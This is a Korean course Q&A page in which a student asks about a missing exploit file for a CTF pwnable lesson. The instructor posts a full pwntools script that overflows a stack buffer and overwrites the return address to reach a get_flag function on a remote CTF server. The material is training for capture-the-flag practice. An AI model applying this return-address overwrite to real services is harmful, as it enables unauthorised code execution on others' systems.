inflearn logo
강의

강의

N
챌린지

챌린지

멘토링

멘토링

N
클립

클립

로드맵

로드맵

지식공유

해킹대회(CTF) 출전을 위한 시스템해킹(Pwnable) 입문

익스플로잇 코드작성 (StackBufferOverFlow를 이용한 RET Overwrite)

basic_bof.py가 없어요

87

poolchamp

작성한 질문수 3

0

압축파일을 해제했는데,

강사님처럼 파이썬 파일(.py)는 없네요.

pwntools도 깔았는데...

어떻게 하면 되는지 알려주시면 감사하겠습니다~

모의해킹 시스템-해킹 buffer-overflow

답변 2

0

juntheworld

안녕하세요 poolchamp님!

CTF사이트 (https://hacktheworldctf.xyz/challenges#BasicBOF-2) 에서 제공하는 .zip 파일은 문제파일입니다.

 

말씀해주신 .py 파이썬 파일은 답안지 파일이라고 생각해주시면 됩니다.

아래와 같은 익스플로잇 코드를 .zip 파일에서 제공한 폴더에 basic_bof.py 라는 파이썬 파일(꼭 해당 이름일 필요는 없음) 을 생성한 후, 복사 봍여넣기해서 사용하시면 됩니다 !

 

from pwn import *
context.log_level = 'debug'

p = process("./basic_bof")
p = remote("101.79.9.58", 10010)

# gdb.attach(p)
# pause()

# exploit here
get_flag_addr = 0x401296

payload = b'A'*0x30
payload += b'B'*0x8
payload += p64(get_flag_addr)

p.sendline(payload)
p.interactive()

 

질문 내용을 통해 유추해보건데, 이미 강의의 끝부분인 14. 익스플로잇 코드작성 (StackBufferOverFlow를 이용한 RET Overwrite)을 수강해주고 계신 것으로 추측됩니다.

 

아래에 첨부된 코드는 해당 강의 수업노트에서 확인하실 수 있으니, 참고해주시면 도움이 될 것 같습니다!

image.png

 

image.png

늘 열심히 공부해주셔서 감사합니다!

0

인프런 AI 인턴

안녕하세요, 인프런 AI 인턴입니다.
poolchamp님, 압축파일을 해제했는데 필요한 Python 파일이 없다면 몇 가지 가능성을 점검해볼 수 있습니다.

  1. 압축파일의 내용 확인: 압축파일을 제대로 해제했는지 다시 한 번 확인해주세요. 파일들이 특정 폴더에 있는지 혹은 압축해제 도중 문제가 발생했을 수 있습니다.

  2. 강의 자료 확인: 강의 자료에 정확한 파일이 포함되어 있는지, 혹은 압축 파일이 올바르게 다운로드 되었는지를 점검하실 수 있습니다. 강의 자료는 인프런 강의 페이지에서 “커리큘럼 탭 하단 수업자료 버튼”이나, “플레이어 하단의 수업 자료 버튼”을 클릭하여 확인할 수 있습니다. 강의 자료 관련 FAQ를 참고해주세요.

  3. 강사님 또는 강의 문의: 해당 강좌의 질문 게시판이나, 제공된 커뮤니티 공간을 활용하세요. 같은 문제를 겪는 다른 수강생들의 질문을 찾거나 질문을 직접 남겨보는 것도 좋은 방법입니다.

이 방법들도 시도해 보시고 문제가 지속될 경우, 강사님께 직접 문의하여 해당 파일이 필요한지 확인하시면 좋겠습니다. 도움 되시길 바랍니다!

XSS 1번 문제

0

26

2

가이드북 애플리케이션 접근 불가

0

29

2

수료가 안됩니다

0

30

1

압축파일 비밀번호

0

28

1

뭘하라는건지 모르겠네요

0

46

2

한글폰트 오류 있으신 분들!!

1

33

1

iam 권한

0

28

1

받을 수도 없는 수업 자료들이 올라와 있고, 이것들 때문에 강의를 수료할 수도 없습니다.

0

43

2

침해사고 샘플분석 첫번째 파일 다운로드 불가

0

43

1

retrun 주소값에 브레이크 포인트 걸고

0

57

1

BP실행 관련 질문드립니다

0

82

2

사이트가 안들어가져요

0

95

2

hacktheworld 사이트가 들어가지지 않습니다

0

228

2

이거 플래그 찾는거맞나요?

0

313

1

sudo password 에 입력이 안돼요

0

1027

2

gdb 실행이 제대로 되었는지 모르겠어요...

0

609

2

네임에러

0

432

2

remote 연결 질문드립니다!

0

428

1

python exploit code 실행 오류

0

584

2

도구 다운로드에서 복사 붙여넣기가 계속 안되는데 왜그러는 건지 알수 있을까요?

0

592

2

질문있습니다.flag가 안 나옵니다

0

425

1

안녕하세요 질문있습니다

0

446

1

안녕하세요 질문 있습니다

0

605

1

마지막강의 재생이 안됩니다

0

288

1